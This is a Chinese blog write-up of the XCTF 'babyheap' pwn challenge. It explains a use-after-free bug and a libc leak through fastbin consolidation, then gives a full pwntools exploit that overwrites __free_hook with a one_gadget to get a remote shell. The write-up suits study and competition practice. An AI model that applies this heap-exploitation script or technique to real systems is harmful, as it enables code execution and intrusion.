第一次做出XCTF的题目来,感谢wjh师傅的指点,虽然只做出一道最简单的pwn题,但是还是挺开心的。此贴用来记录一下,赛后试着看看其他大师傅的wp,看看能不能再做出一道题来。

babyheap

  程序有add、delete、show、edit功能。

  在add函数只能创建0x10-0x60大小的chunk。

  delete函数存在uaf漏洞。

  show函数平平无奇。

  edit函数只能往chunk+8的位置进行写,就是在free之后不能直接利用uaf漏洞改写fd指针。

  还有一个函数是leavename函数,此函数创建了一个0x400大小的chunk,里面存name。

  知识点:当存在fastbins时,申请一个比较大的chunk,会将fastbins合并放到smallbins看看大小够不够分配,如果够的话就会用这个chunk,如果不够的话,再从top chunk里面切割。这里smallbins会存放libc的一些地址,加上uaf可以leak libc。

  思路:先把0x60的tcache填满,在搞一个fastbins,这个时候调用leavename函数,让fastbins进入smallbins,此时leak libc基地址,这个smallbins也是0x60大小,之后申请比较小的chunk,会对smallbins进行切割,这个时候,利用uaf就可以写这些比较小的chunk的fd指针,将fd改成free_hook-0x8,把chunk申请过去,修改free_hook为onegadgets,执行delete就能拿到shell了。

exp:

 1 from pwn import *
2
3 #p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
4 #p = process('./pwn')
5 p = remote('52.152.231.198',8081)
6 elf = ELF('./pwn')
7 libc = ELF('./libc.so')
8 context(os='linux',arch='amd64',log_level='debug')
9
10 def duan():
11 gdb.attach(p)
12 pause()
13 def add(index,size):
14 p.sendlineafter('>> \n','1')
15 p.sendlineafter('index\n',str(index))
16 p.sendlineafter('size\n',str(size))
17 def delete(index):
18 p.sendlineafter('>> \n','2')
19 p.sendlineafter('index\n',str(index))
20 def edit(index,content):
21 p.sendlineafter('>> \n','3')
22 p.sendlineafter('index\n',str(index))
23 p.sendafter('content\n',content)
24 def show(index):
25 p.sendlineafter('>> \n','4')
26 p.sendlineafter('index\n',str(index))
27 def leavename(name):
28 p.sendlineafter('>> \n','5')
29 p.sendafter('name:\n',name)
30 def showname():
31 p.sendlineafter('>> \n','6')
32
33 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
34 og = [0x4f3d5,0x4f432,0x10a41c]
35
36 add(0,0x50)
37 add(1,0x50)
38 add(2,0x50)
39 add(3,0x50)
40 add(4,0x50)
41 add(5,0x50)
42 add(6,0x50)
43 add(7,0x50)
44 add(8,0x10)
45 delete(0)
46 delete(1)
47 delete(2)
48 delete(3)
49 delete(4)
50 delete(5)
51 delete(6)
52 delete(7)
53
54 leavename('bhxdn')
55 show(7)
56 libc_base = u64(p.recv(6).ljust(8,'\x00'))-176-0x10-libc.symbols['__malloc_hook']
57 print 'libc_base-->'+hex(libc_base)
58 shell = libc_base+og[1]
59 free_hook = libc_base+libc.symbols['__free_hook']
60
61 add(6,0x50)
62 add(5,0x50)
63 add(4,0x50)
64 add(3,0x50)
65 add(2,0x50)
66 add(1,0x50)
67 add(0,0x50)
68
69 add(9,0x10)
70 add(10,0x10)
71 delete(9)
72 delete(10)
73 edit(7,'aaaaaaaa'+p64(0)+p64(0x21)+p64(free_hook-0x8))
74 print 'libc_base-->'+hex(libc_base)
75 print 'free_hook-->'+hex(free_hook)
76 add(9,0x10)
77 add(10,0x10)
78 edit(10,p64(shell))
79 delete(0)
80 p.interactive()

*CTF pwn write up的更多相关文章

  1. 由一道CTF pwn题深入理解libc2.26中的tcache机制

    本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...

  2. ctf pwn ida 分析技巧

    几年前的笔记,搬运过来 ---   1 先根据运行程序得到的信息命名外围函数,主要函数大写开头 2 /添加注释 3 直接vim程序,修改alarm为isnan可以patch掉alarm函数 4 y 可 ...

  3. CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. pwn入门之栈溢出练习

    本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...

  5. PWN入门

    pwn ”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 .发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵.以上是从百度百科上面抄的简介, ...

  6. 见微知著(一):解析ctf中的pwn--Fast bin里的UAF

    在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...

  7. 百度杯 十一月 的一道pwn题复现

    拿到题后,就直接开鲁.. /ctf/pwn# checksec pwnme [*] '/ctf/pwn/pwnme' Arch: amd64--little RELRO: Full RELRO Sta ...

  8. 使用pwn_deploy_chroot部署国赛pwn比赛题目

    目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...

  9. pwn学习日记Day16 pwn原理理解

    CTF-Pwn入门及栈溢出原理解释 CTF pwn 中最通俗易懂的堆入坑指南 看雪论坛

随机推荐

  1. [hdu7011]被EI加0了

    注意到仅关心于权值大小,预处理出$F_{i}(n)$​​​​表示$a_{1},a_{2},...,a_{n}$​​​​中恰填$i$​​​​​​种不同的数的方案数,那么显然答案即为$\sum_{i=1} ...

  2. [hdu7026]Might and Magic

    (以下默认$A_{0},D_{0},P_{0},K_{0}$都为非负整数) 显然存活轮数$S=\lceil\frac{H_{0}}{C_{p}\max(A_{1}-D_{0},1)}\rceil$​​ ...

  3. [noi713]魔法

    分治,维护一个dp数组,当递归到区间[l,r]时,需要保证这个dp数组维护的是除去[l,r]以外的dp数组维护其实很简单,就是递归左区间是先将右区间加入,然后再将左区间加入(要先复原)然后递归右区间即 ...

  4. 🏆【Alibaba中间件技术系列】「RocketMQ技术专题」让我们一起探索一下DefaultMQPushConsumer的实现原理及源码分析

    RocketMQ的前提回顾 RocketMQ是一款分布式.队列模型的消息中间件,具有以下特点: 能够保证严格的消息顺序 提供丰富的消息拉取模式 高效的订阅者水平扩展能力 实时的消息订阅机制 亿级消息堆 ...

  5. 唯一id生成器

    public static void main(String[] args) { Jedis jedis = new Jedis("127.0.0.1");//id自增 Long ...

  6. 实战!spring Boot security+JWT 前后端分离架构认证登录!

    大家好,我是不才陈某~ 认证.授权是实战项目中必不可少的部分,而Spring Security则将作为首选安全组件,因此陈某新开了 <Spring Security 进阶> 这个专栏,写一 ...

  7. Linux生信服务器磁盘如何挂载使用?

    用过很多服务器,但一直没自己挂载过磁盘,因为待挂载的磁盘上都有数据,生怕一不小心把别人的弄坏了. 今天恰好有几块新的磁盘,供我尝试下. 首先查看下磁盘: $ df -h 文件系统 容量 已用 可用 已 ...

  8. 富集分析DAVID、Metascape、Enrichr、ClueGO

    前言 一般我们挑出一堆感兴趣的基因想临时看看它们的功能,需要做个富集分析.虽然公司买了最新版的数据库,如KEGG,但在集群跑下来嫌麻烦.这时网页在线或者本地化工具派上用场了. DAVID DAVID地 ...

  9. R数据科学-2

    R数据科学(R for Data Science) Part 2:数据处理 导入-->整理-->转换 ------------------第7章 使用tibble实现简单数据框------ ...

  10. NECAT组装ONT long reads

    NECAT 可用于ONT数据的纠错,组装,如果想对ONT long reads进行call SV,也可以使用necatsv. githup网址:https://github.com/xiaochuan ...